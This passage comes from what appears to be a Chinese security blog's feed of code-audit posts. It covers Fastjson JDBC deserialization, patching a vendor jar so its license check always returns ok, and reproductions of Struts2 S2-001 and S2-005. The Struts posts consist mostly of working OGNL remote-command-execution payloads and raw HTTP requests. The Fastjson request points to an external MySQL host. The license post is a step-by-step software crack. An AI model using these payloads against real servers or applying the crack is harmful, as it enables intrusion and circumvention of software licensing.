<span class="title">hello</span><span class="params">()</span></span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="string">"hello world"</span>;</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>启动springboot web服务。</p><p>post数据包即可:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">POST /fastjson HTTP/<span class="number">1.1</span></span><br><span class="line">Host: www.localhost.com:<span class="number">8080</span></span><br><span class="line">Pragma: no-cache</span><br><span class="line">Cache-Control: no-cache</span><br><span class="line">Upgrade-Insecure-Requests: <span class="number">1</span></span><br><span class="line">User-Agent: Mozilla/<span class="number">5.0</span> (Macintosh; Intel Mac OS X <span class="number">10</span>_15_7) AppleWebKit/<span class="number">537.36</span> (KHTML, like Gecko) Chrome/<span class="number">92.0</span><span class="number">.4515</span><span class="number">.159</span> Safari/<span class="number">537.36</span></span><br><span class="line">Accept: text/html,application/xhtml+xml,application/xml;q=<span class="number">0.9</span>,image/avif,image/webp,image/apng,*<span class="comment">/*;q=0.8,application/signed-exchange;v=b3;q=0.9</span></span><br><span class="line"><span class="comment">Accept-Encoding: gzip, deflate</span></span><br><span class="line"><span class="comment">Content-Type: application/json</span></span><br><span class="line"><span class="comment">Accept-Language: zh-CN,zh;q=0.9,en;q=0.8</span></span><br><span class="line"><span class="comment">Connection: close</span></span><br><span class="line"><span class="comment">Content-Length: 449</span></span><br><span class="line"><span class="comment"></span></span><br><span class="line"><span class="comment">{</span></span><br><span class="line"><span class="comment"> "@type": "java.lang.AutoCloseable",</span></span><br><span class="line"><span class="comment"> "@type": "com.mysql.jdbc.JDBC4Connection",</span></span><br><span class="line"><span class="comment"> "hostToConnectTo": "121.5.40.91",</span></span><br><span class="line"><span class="comment"> "portToConnectTo": 3306,</span></span><br><span class="line"><span class="comment"> "info": {</span></span><br><span class="line"><span class="comment"> "user": "yso_CommonsCollections6_open -a Calculator",</span></span><br><span class="line"><span class="comment"> "password": "pass",</span></span><br><span class="line"><span class="comment"> "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",</span></span><br><span class="line"><span class="comment"> "autoDeserialize": "true",</span></span><br><span class="line"><span class="comment"> "NUM_HOSTS": "1"</span></span><br><span class="line"><span class="comment"> },</span></span><br><span class="line"><span class="comment"> "databaseToConnectTo": "dbname",</span></span><br><span class="line"><span class="comment"> "url": ""</span></span><br><span class="line"><span class="comment">}</span></span><br></pre></td></tr></table></figure><p><img src="28.png" alt="28"></p><h2 id="参考链接:"><a href="#参考链接:" class="headerlink" title="参考链接:"></a>参考链接:</h2><p><a href="https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg">https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg</a></p><p><a href="https://github.com/safe6Sec/Fastjson">https://github.com/safe6Sec/Fastjson</a></p><p><a href="https://mp.weixin.qq.com/s/1zUihQl8gw-UlO8FH97ukw">https://mp.weixin.qq.com/s/1zUihQl8gw-UlO8FH97ukw</a></p><p><a href="https://mp.weixin.qq.com/s/amFZ4H0mwGxVLFc33kH1OA">https://mp.weixin.qq.com/s/amFZ4H0mwGxVLFc33kH1OA</a></p>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
<tags>
<tag> fastjson反序列 </tag>
<tag> fastjson链条分析 </tag>
<tag> fastjson jdbc序列化 </tag>
</tags>
</entry>
<entry>
<title>jar包修改绕过系统license验证</title>
<link href="/2021/08/25/java%E7%B3%BB%E7%BB%9F%E9%AA%8C%E8%AF%81%E7%A0%B4%E8%A7%A3/"/>
<url>/2021/08/25/java%E7%B3%BB%E7%BB%9F%E9%AA%8C%E8%AF%81%E7%A0%B4%E8%A7%A3/</url>
<content type="html"><![CDATA[<p>最近做的一个项目领导要求破解一个系统。emmmm,只能硬着头皮分析一波。</p><h2 id="搭建环境远程debug。"><a href="#搭建环境远程debug。" class="headerlink" title="搭建环境远程debug。"></a>搭建环境远程debug。</h2><p>因为该项目基于tomcat搭建,找到catalina.sh</p><p>添加如下配置,重启。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">CATALINA_OPTS="-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005"</span><br></pre></td></tr></table></figure><p>ieda配置远程jvm调试即可:</p><p><img src="2.png" alt="2"></p><h2 id="定位关键验证代码"><a href="#定位关键验证代码" class="headerlink" title="定位关键验证代码"></a>定位关键验证代码</h2><p>通过反编译所有jar包搜索关键字+debug跟踪定位到关键代码如下。</p><p><img src="1.png" alt="1"></p><h2 id="验证绕过分析"><a href="#验证绕过分析" class="headerlink" title="验证绕过分析"></a>验证绕过分析</h2><p>通过简单查看license验证代码,大概确定两个方法。</p><p>1.license.key采用ras算法验证,可以尝试根据代码写一个license.key生成器。</p><p>翻看了一下代码只找到rsa的公钥,license.key是根据机器码生成。推测是机器码+rsa私钥生成license.key。上传license.key之后,系统采用公钥解密验证。这个方法感觉没啥希望。</p><p>2.更改license验证jar包中的关键代码,再重新编译回去,尝试绕过。</p><p>查看代码发现KeyVerifyResult.java中存在一个result参数且是VerifyResultEnum类型,构造函数初始化为<code>KeyVerifyResult.VerifyResultEnum.missing</code>.</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> KeyVerifyResult.VerifyResultEnum result;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">public</span> <span class="title">KeyVerifyResult</span><span class="params">()</span> </span>{</span><br><span class="line"> <span class="keyword">this</span>.result = KeyVerifyResult.VerifyResultEnum.missing;</span><br><span class="line"> <span class="keyword">this</span>.items = <span class="keyword">new</span> HashMap();</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>VerifyResultEnum方法如下;</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="class"><span class="keyword">enum</span> <span class="title">VerifyResultEnum</span> </span>{</span><br><span class="line"> ok,</span><br><span class="line"> missing,</span><br><span class="line"> invalid,</span><br><span class="line"> badformat,</span><br><span class="line"> expired,</span><br><span class="line"> mismatch,</span><br><span class="line"> malicious,</span><br><span class="line"> ignore;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">private</span> <span class="title">VerifyResultEnum</span><span class="params">()</span> </span>{</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>那么大概可以确实 <code>result = KeyVerifyResult.VerifyResultEnum.missing;</code>控制着license验证结果。</p><p>想到破解方法,修改代码中所有的<code>result = KeyVerifyResult.VerifyResultEnum</code>结果为ok。那么不管我们的license咋样验证结果都是ok。就达到了破解的目的。</p><h2 id="修改jar包"><a href="#修改jar包" class="headerlink" title="修改jar包"></a>修改jar包</h2><p>确定破解方法之后就是修改代码了,因为都编译成了jar。一开始想的办法是</p><h3 id="反编译jar文件,修改代码再生成jar"><a href="#反编译jar文件,修改代码再生成jar" class="headerlink" title="反编译jar文件,修改代码再生成jar"></a>反编译jar文件,修改代码再生成jar</h3><p>反编译采用该项目:<br><a href="https://github.com/eikendev/java-decompiler">https://github.com/eikendev/java-decompiler</a></p><p>多个工具编译代码之后,相互对照着解决报错。修改代码发现生成的jar包特别大,重新添加到项目中,项目无法运行。</p><p>感觉无法运行的原因有这么几种情况。</p><p>1.反编译之后函数名可能会改变</p><p>2.编译的环境和开发环境相差巨大。</p><p>……</p><p>那么是不是就没办法了呢,通过简单的搜索,发现一些修改jar包代码的方法。</p><p>1.winrar解码预览jar包,把需要修改之后的java文件编译成class文件,替换jar包中的class文件。</p><p>2.010editor直接修改二进制。(这个方法先不考虑,工作量有点大…</p><p><a href="https://www.daguanren.cc/post/ru-he-xiu-gai-JAR-bao-nei-de-dai-ma.html">https://www.daguanren.cc/post/ru-he-xiu-gai-JAR-bao-nei-de-dai-ma.html</a></p><p><a href="https://www.cnblogs.com/firstdream/p/9332672.html">https://www.cnblogs.com/firstdream/p/9332672.html</a></p><h3 id="winrar修改jar文件"><a href="#winrar修改jar文件" class="headerlink" title="winrar修改jar文件"></a>winrar修改jar文件</h3><p>winrar直接打开需要修改的jar包。</p><p><img src="3.png" alt="3"></p><p>然后修改项目包中所有的<code>result = VerifyResultEnum.ok;</code>为ok。</p><p><img src="4.png" alt="4"></p><h3 id="编译java文件为class文件"><a href="#编译java文件为class文件" class="headerlink" title="编译java文件为class文件"></a>编译java文件为class文件</h3><p>将修改后的java文件编译为class文件这里踩了一些坑,java编译为class,我们首先想到的肯定是javac ,但是这里使用javac却不行,需要修改的java文件依赖很多的外部jar包,尝试了添加-classpath/-p等参数也没有完成这一类java文件的编译</p><p><img src="5.png" alt="5"></p><p>这里卡了一会儿没有解决,想到在一开始的时候生成过jar包。</p><p>那么就想到了另外一个办法,修改java文件生成jar包之后再利用winrar解压拷贝出来,再拷贝到需要破解的jar包。</p><p><img src="6.png" alt="6"></p><p>重新将jar到导入系统,重启系统。license验证就消失了,至此破解结束。</p>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
<tags>
<tag> jar修改 </tag>
<tag> license验证绕过 </tag>
</tags>
</entry>
<entry>
<title>s2-001复现分析</title>
<link href="/2021/08/10/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/s2-001%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/"/>
<url>/2021/08/10/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/s2-001%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<h2 id="1-漏洞原因"><a href="#1-漏洞原因" class="headerlink" title="1.漏洞原因"></a>1.漏洞原因</h2><p>官方说明:<br><a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">The 'altSyntax' feature of WebWork 2.1+ and Struts 2 allows OGNL expressions to be inserted into text strings and is processed recursively. This allows a malicious user to submit a string, usually through an HTML text field, containing an OGNL expression that will then be executed by the server if the form validation has failed. For example, say we had this form that required the 'phoneNumber' field to not be blank:</span><br></pre></td></tr></table></figure><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><s:form action=<span class="string">"editUser"</span>></span><br><span class="line"> <s:textfield name=<span class="string">"name"</span> /></span><br><span class="line"> <s:textfield name=<span class="string">"phoneNumber"</span> /></span><br><span class="line"></s:form></span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">The user could leave the 'phoneNumber' field blank to trigger the validation error, then populate the 'name' field with %{1+1}. When the form is re-displayed to the user, the value of the 'name' field will be '2'. The reason is the value field is, by default, processed as %{name}, and since OGNL expressions are evaluated recursively, it is evaluated as if the expression was %{%{1+1}}.</span><br><span class="line"></span><br><span class="line">The OGNL parsing code is actually in XWork and not in WebWork 2 or Struts 2.</span><br></pre></td></tr></table></figure><h3 id="简单翻译就是:"><a href="#简单翻译就是:" class="headerlink" title="简单翻译就是:"></a>简单翻译就是:</h3><p>WebWork 2.1+和Struts2的“altSyntax”功能允许将OGNL表达式插入文本字符串并进行递归处理。 这允许恶意用户通常通过HTML文本字段提交包含OGNL表达式的字符串,如果表单验证失败,该字符串将由服务器执行。 例如,假设我们有一个要求’phoneNumber’字段不为空的表格:</p><figure class="highlight jsp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><s:form action=<span class="string">"editUser"</span>></span><br><span class="line"> <s:textfield name=<span class="string">"name"</span> /></span><br><span class="line"> <s:textfield name=<span class="string">"phoneNumber"</span> /></span><br><span class="line"></s:form></span><br></pre></td></tr></table></figure><p>用户可以将“ phoneNumber”字段留空以触发验证错误,然后在“ name”字段中填充%{1 + 1}。 当表单重新显示给用户时,“名称”字段的值将为“ 2”。 原因是默认情况下,值字段被处理为%{name},并且由于OGNL表达式是递归求值的,因此它的计算就好像表达式是%{%{1 + 1}}一样。</p><p>OGNL解析代码实际上在XWork中,而不在WebWork 2或Struts 2中。 </p><p>关键点在这两句话:</p><ol><li><p>允许恶意用户通常通过HTML文本字段提交包含OGNL表达式的字符串,如果表单验证失败,该字符串将由服务器执行</p></li><li><p>原因是默认情况下,值字段被处理为%{name},并且由于OGNL表达式是递归求值的,因此它的计算就好像表达式是%{%{1 + 1}}一样。</p></li></ol><p>第一句话的理解:</p><p>OGNL表达式的字符串,如果表单验证失败,则字符串由服务器执行。</p><p>OGNL表达式字符串:</p><p><a href="https://xz.aliyun.com/t/2672#toc-3">https://xz.aliyun.com/t/2672#toc-3</a> 可以看这篇文章,有详细的介绍。</p><p><a href="https://juejin.cn/post/6844904013683507207">https://juejin.cn/post/6844904013683507207</a> ognl语法介绍</p><p>表单验证失败:</p><p>在使用了s2<code><s></code>标签时,验证失败返回首页时会将表达式内容执行并返回到标签框中。</p><p>第二句话理解:</p><p>参考:<a href="https://b1ue.cn/archives/93.html">https://b1ue.cn/archives/93.html</a></p><p>默认情况下,值字段被处理为%{name},并且由于OGNL表达式是递归求值的,因此它的计算就好像表达式是%{%{1 + 1}}一样。</p><p>我们输入了<code>%{233*233}</code>按理应该返回<code>%{233*233}</code>。但是s2会给输入加上<code>%{}</code>,所以变成了<code>%{%{233*233}}</code>。因为translateVariables方法递归执行了ognl表达式。所以计算了<code>233*233</code>。<br><code>altSyntax</code> 功能允许将OGNL表达式插入到文本字符串中并以递归方式处理。</p><h2 id="2-poc利用"><a href="#2-poc利用" class="headerlink" title="2.poc利用"></a>2.poc利用</h2><p>poc:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%{<span class="number">1</span>+<span class="number">1</span>}</span><br></pre></td></tr></table></figure><p><img src="./2.1.png"></p><p>获取tomcat路径:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%{<span class="string">"tomcatBinDir{"</span>+<span class="meta">@java</span>.lang.System<span class="meta">@getProperty("user.dir")</span>+<span class="string">"}"</span>}</span><br></pre></td></tr></table></figure><p>获取web路径:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%{#req=<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest()</span>,#response=#context.get(<span class="string">"com.opensymphony.xwork2.dispatcher.HttpServletResponse"</span>).getWriter(),#response.println(#req.getRealPath(<span class="string">'/'</span>)),#response.flush(),#response.close()}</span><br></pre></td></tr></table></figure><p>命令执行payload:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%<span class="number">25</span>{%23a%<span class="number">3d</span>(<span class="keyword">new</span>+java.lang.ProcessBuilder(<span class="keyword">new</span>+java.lang.String[]{<span class="string">"whoami"</span>})).redirectErrorStream(<span class="keyword">true</span>).start(),%23b%<span class="number">3d</span>%23a.getInputStream(),%23c%3dnew+java.io.InputStreamReader(%23b),%<span class="number">23d</span>%3dnew+java.io.BufferedReader(%23c),%23e%3dnew+<span class="keyword">char</span>[<span class="number">50000</span>],%<span class="number">23d</span>.read(%23e),%<span class="number">23f</span>%<span class="number">3d</span>%23context.get(<span class="string">"com.opensymphony.xwork2.dispatcher.HttpServletResponse"</span>),%<span class="number">23f</span>.getWriter().println(<span class="keyword">new</span>+java.lang.String(%23e)),%<span class="number">23f</span>.getWriter().flush(),%<span class="number">23f</span>.getWriter().close()}</span><br></pre></td></tr></table></figure><p>执行结果:</p><p><img src="./2.2.png" alt="2.1.1"></p><h2 id="3-poc构建分析"><a href="#3-poc构建分析" class="headerlink" title="3. poc构建分析"></a>3. poc构建分析</h2><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">%{</span><br><span class="line">#a=(<span class="keyword">new</span> java.lang.ProcessBuilder(<span class="keyword">new</span> java.lang.String[]{<span class="string">"whoami"</span>})).redirectErrorStream(<span class="keyword">true</span>).start(),</span><br><span class="line">#b=#a.getInputStream(),</span><br><span class="line">#c=<span class="keyword">new</span> java.io.InputStreamReader(#b),</span><br><span class="line">#d=<span class="keyword">new</span> java.io.BufferedReader(#c),</span><br><span class="line">#e=<span class="keyword">new</span> <span class="keyword">char</span>[<span class="number">50000</span>],</span><br><span class="line">#d.read(#e),</span><br><span class="line">#f=#context.get(<span class="string">"com.opensymphony.xwork2.dispatcher.HttpServletResponse"</span>),</span><br><span class="line">#f.getWriter().println(<span class="keyword">new</span> java.lang.String(#e)),</span><br><span class="line">#f.getWriter().flush(),</span><br><span class="line">#f.getWriter().close()}</span><br></pre></td></tr></table></figure><p>ognl表达式构建对象。执行命令。</p><p><code>#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),</code>命令执行存储到a属性,申请一个存储流到e属性,调用<code>com.opensymphony.xwork2.dispatcher.HttpServletResponse</code>进行回显。</p><h2 id="4-漏洞分析"><a href="#4-漏洞分析" class="headerlink" title="4.漏洞分析"></a>4.漏洞分析</h2><p><a href="https://b1ue.cn/archives/93.html">https://b1ue.cn/archives/93.html</a></p><h2 id="5-漏洞修复"><a href="#5-漏洞修复" class="headerlink" title="5.漏洞修复"></a>5.漏洞修复</h2><p>官方给出的修复方案是将altSyntax默认关闭,使用break打断递归查询。</p><p>反编译对比xwork-2.0-beta-1.jar和xwork-2.0.5.jar:</p><p><img src="./5.1.png" alt="5.1"></p><p>发现在xwork-2.0.5中将返回改成了break。以此来修复递归执行ognl表达式。</p>]]></content>
<categories>
<category> 代码审计 </category>
</categories>
<tags>
<tag> struts2 </tag>
<tag> s2-001 </tag>
</tags>
</entry>
<entry>
<title>s2-005复现分析</title>
<link href="/2021/08/10/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/s2-005%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/"/>
<url>/2021/08/10/java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1/s2-005%E5%A4%8D%E7%8E%B0%E5%88%86%E6%9E%90/</url>
<content type="html"><![CDATA[<h2 id="1-漏洞简介"><a href="#1-漏洞简介" class="headerlink" title="1.漏洞简介"></a>1.漏洞简介</h2><p>官方描述:<br><a href="https://cwiki.apache.org/confluence/display/WW/S2-005">https://cwiki.apache.org/confluence/display/WW/S2-005</a></p><p>s2-005是对s2-003的绕过,s2-003通过将#字符加入了黑名单来限制简单对象的执行,但是#字符可通过编码来绕过,比如:unicode编码(\u0023)或者8进制(\43)。</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">(<span class="string">'\u0023'</span> + <span class="string">'session\'user\''</span>)(unused)=0wn3d</span><br><span class="line"></span><br><span class="line">which will look as follows once URL encoded:</span><br><span class="line"></span><br><span class="line">(<span class="string">'\u0023'</span>%<span class="number">20</span>%2b%<span class="number">20</span><span class="string">'session\'user\''</span>)(unused)=0wn3d</span><br></pre></td></tr></table></figure><p>而后为了修复,官方增加安全配置禁止静态方法调用(allowStaticMethodAcces)和类方法执行(MethodAccessor.denyMethodExecution)等来修补。但是并没有完全解决该漏洞,ognl表达式依旧可以执行,通过ognl表达式将安全配置修改即可绕过再次导致了该漏洞。</p><h3 id="影响范围:"><a href="#影响范围:" class="headerlink" title="影响范围:"></a>影响范围:</h3><p>Struts 2.0.0 - Struts 2.1.8.1</p><h2 id="2-poc测试"><a href="#2-poc测试" class="headerlink" title="2.poc测试"></a>2.poc测试</h2><p>网上复现大多推荐采用tomcat6,因为在高版本的tomcat中#.<a href=""></a>等字符出现在高版本中可能会引发404错误。</p><p>这个可以通过编码来解决,不一定需要低版本tomct。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line">result=r"(#context[%22xwork.MethodAccessor.denyMethodExecution%22]=new java.lang.Boolean(false),#_memberAccess[%22allowStaticMethodAccess%22]= new java.lang.Boolean(true),@java.lang.Runtime@getRuntime().exec('open -a Calculator'))(meh)&z[(name)('meh')]=true"</span><br><span class="line"><span class="meta"></span></span><br><span class="line"><span class="meta">#</span><span class="bash"> result=poc.replace(<span class="string">'u0023'</span>,<span class="string">'#'</span>)</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> result=result.replace(<span class="string">'u003d'</span>,<span class="string">'='</span>)</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> result=result.replace(<span class="string">'u005c'</span>,<span class="string">'\\'</span>)</span></span><br><span class="line"><span class="meta">#</span><span class="bash"></span></span><br><span class="line"><span class="bash">result = result.replace(<span class="string">'#'</span>, <span class="string">'%23'</span>)</span></span><br><span class="line"><span class="meta">#</span><span class="bash"> result = result.replace(<span class="string">'='</span>, <span class="string">'\\75'</span>)</span></span><br><span class="line">result = result.replace(' ', '%20')</span><br><span class="line">result = result.replace('(', '%28')</span><br><span class="line">result = result.replace('\'', '%27')</span><br><span class="line">result = result.replace('"', '%22')</span><br><span class="line">result = result.replace('\\', '%5C')</span><br><span class="line">result = result.replace(')', '%29')</span><br><span class="line">result = result.replace('[', '%5b')</span><br><span class="line">result = result.replace(']', '%5d')</span><br><span class="line"></span><br><span class="line">print(result)</span><br></pre></td></tr></table></figure><p>以下是本人测试通过的poc。</p><p>vulhub环境:<br>tomcat版本: Apache Tomcat/8.5.14<br>jdk版本:1.8.0_121</p><p>无回显的命令执行:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(%<span class="number">27</span>%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%<span class="number">27</span>]%<span class="number">27</span>)(vaaa)=<span class="keyword">true</span>&(aaaa)((%<span class="number">27</span>%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%<span class="number">27</span>]%5cu003d%5cu0023vccc%<span class="number">27</span>)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%<span class="number">22</span>)))&(asdf)((<span class="string">'%5cu0023rt.exec(%22calc%22.split(%22@%22))'</span>)(%5cu0023rt%5cu003d<span class="meta">@java</span>.lang.Runtime<span class="meta">@getRuntime()</span>))=<span class="number">1</span></span><br></pre></td></tr></table></figure><p>有回显得poc探测:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%<span class="number">28</span>%<span class="number">27</span>%5C43_memberAccess.allowStaticMethodAccess%<span class="number">27</span>%<span class="number">29</span>%28a%<span class="number">29</span>=<span class="keyword">true</span>&%28b%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43context%5b%5C%27xwork.MethodAccessor.denyMethodExecution%5C%<span class="number">27</span>%<span class="number">5d</span>%5C75false%<span class="number">27</span>%<span class="number">29</span>%28b%<span class="number">29</span>%<span class="number">29</span>&%<span class="number">28</span>%<span class="number">27</span>%5C43c%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43_memberAccess.excludeProperties%5C75<span class="meta">@java</span>.util.Collections<span class="meta">@EMPTY_SET</span>%<span class="number">27</span>%<span class="number">29</span>%28c%<span class="number">29</span>%<span class="number">29</span>&%28g%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43req%5C75<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getRequest</span>%<span class="number">28</span>%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28i2%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43xman%5C75<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse</span>%<span class="number">28</span>%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28i97%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43xman.getWriter%<span class="number">28</span>%<span class="number">29.</span>println%<span class="number">28540.8053</span>*<span class="number">217.4633</span>%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span>&%28i99%<span class="number">29</span>%<span class="number">28</span>%<span class="number">28</span>%<span class="number">27</span>%5C43xman.getWriter%<span class="number">28</span>%<span class="number">29.</span>close%<span class="number">28</span>%<span class="number">29</span>%<span class="number">27</span>%<span class="number">29</span>%<span class="number">28d</span>%<span class="number">29</span>%<span class="number">29</span></span><br></pre></td></tr></table></figure><p>有回显的命令执行:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">(%<span class="number">27</span>%5c43_memberAccess.allowStaticMethodAccess%<span class="number">27</span>)(a)=<span class="keyword">true</span>&(b)((%<span class="number">27</span>%5c43context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%<span class="number">27</span>]%5c75false%<span class="number">27</span>)(b))&(%<span class="number">27</span>%5c43c%<span class="number">27</span>)((%<span class="number">27</span>%5c43_memberAccess.excludeProperties%5c75<span class="meta">@java</span>.util.Collections<span class="meta">@EMPTY_SET</span>%<span class="number">27</span>)(c))&(g)((%<span class="number">27</span>%5c43mycmd%5c75%5c%27whoami%5c%<span class="number">27</span>%<span class="number">27</span>)(d))&(h)((%<span class="number">27</span>%5c43myret%5c75<span class="meta">@java</span>.lang.Runtime<span class="meta">@getRuntime()</span>.exec(%5c43mycmd)%<span class="number">27</span>)(d))&(i)((%<span class="number">27</span>%5c43mydat%5c75new%5c40java.io.DataInputStream(%5c43myret.getInputStream())%<span class="number">27</span>)(d))&(j)((%<span class="number">27</span>%5c43myres%5c75new%5c40byte[<span class="number">51020</span>]%<span class="number">27</span>)(d))&(k)((%<span class="number">27</span>%5c43mydat.readFully(%5c43myres)%<span class="number">27</span>)(d))&(l)((%<span class="number">27</span>%5c43mystr%5c75new%5c40java.lang.String(%5c43myres)%<span class="number">27</span>)(d))&(m)((%<span class="number">27</span>%5c43myout%5c75<span class="meta">@org</span>.apache.struts2.ServletActionContext<span class="meta">@getResponse()</span>%<span class="number">27</span>)(d))&(n)((%<span class="number">27</span>%5c43myout.getWriter().println(%5c43mystr)%<span class="number">27</span>)(d))</span><br></pre></td></tr></table></figure><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">POST /example/HelloWorld.action HTTP/<span class="number">1.1</span></span><br><span class="line">Accept: application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */</span><br><span class="line">Content-Type: application/x-www-form-urlencoded</span><br><span class="line">User-Agent: Mozilla/<span class="number">4.0</span> (compatible; MSIE <span class="number">6.0</span>; Windows NT <span class="number">5.1</span>; SV1; .NET CLR <span class="number">2.0</span><span class="number">.50727</span>; MAXTHON <span class="number">2.0</span>)</span><br><span class="line">Host: IP:<span class="number">8080</span></span><br><span class="line">Content-Length: <span class="number">623</span></span><br><span class="line"></span><br><span class="line">redirect:${%23req%<span class="number">3d</span>%23context.get(%27co%<span class="number">27</span>%2b%27m.open%<span 